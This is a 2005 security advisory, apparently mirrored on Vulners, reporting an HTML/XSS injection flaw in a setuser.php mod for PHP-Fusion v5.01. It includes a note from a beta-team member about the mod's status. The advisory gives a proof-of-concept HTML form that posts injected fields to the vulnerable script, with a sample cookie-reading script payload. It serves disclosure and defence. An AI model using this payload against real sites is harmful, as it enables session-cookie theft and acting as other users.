Vulners
Lucene search
phpFusion501.txt
`Note added to this advisory -
This is not part of PHP Fusion v5.01
This is an available mod addon supplied by the main developer Digitanium for
an IIS Compatibility.
This setuser.php will not implemented into PHP Fusion until v5.02 and is not
mainstream accross the fusion community. I have notified the main developer
Digitanium.
Sheldon King
PHP Fusion Beta Team
Original advisory -
[PersianHacker.NET 200503-10]PHP-Fusion v5.01 Html Injection Vulnerability
Date: 2005 March
Bug Number: 10
PHP-Fusion
a light-weight open-source content management system (CMS) written in PHP. It utilises a mySQL database to store your site content and includes a simple, comprehensive adminstration system. PHP-Fusion includes the most common features you would expect to see in many other CMS packages
More info @:
http://php-fusion.co.uk/
Discussion:
--------------------
The software does not properly validate user-supplied input in 'setuser.php'.
A remote user can access the target user's cookies (including authentication cookies),
if any, associated with the site running the PHP-Fusion software, access data
recently submitted by the target user via web form to the site, or take actions
on the site acting as the target user.
Exploit:
--------------------
<html>
<head>
<title>PHP-Fusion v5.01 Exploit</title>
</head>
<body>
<h1>PHP-Fusion v5.01 Html Injection Exploit</h1>
<form method="POST" action="http://www.example.com/setuser.php">
<b>XSS in register.php:</b><p>
Username:
<input type="text" name="user_name" size="48" value="XSS Injection Code"></p>
<p>
Password:
<input type="text" name="user_pass" size="48" value="XSS Injection Code"></p>
<p><input type='checkbox' name='remember_me' value='y'>Remember Me<br><br>
exmple: <script>document.write(document.cookie)</script></p>
<p> <input type='submit' name='login' value='RUN!' class='button'></p>
</form>
<p> </p>
<p align="center"><a href="http://www.PersianHacker.NET">www.PersianHacker.NET</a></p>
</body>
</html>
Solution:
--------------------
No solution was available at the time of this entry.
Credit:
--------------------
Discovered by PersianHacker.NET Security Team
by Pi3cH (pi3ch persianhacker net)
http://www.PersianHacker.NET
Special Thanks: devil_box(for xss article), amectris, herbod.
Help
--------------------
visit: http://www.PersianHacker.NET
or mail me @: pi3ch persianhacker net
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
22 Mar 2005 00:00Current
7.4High risk
Vulners AI Score7.4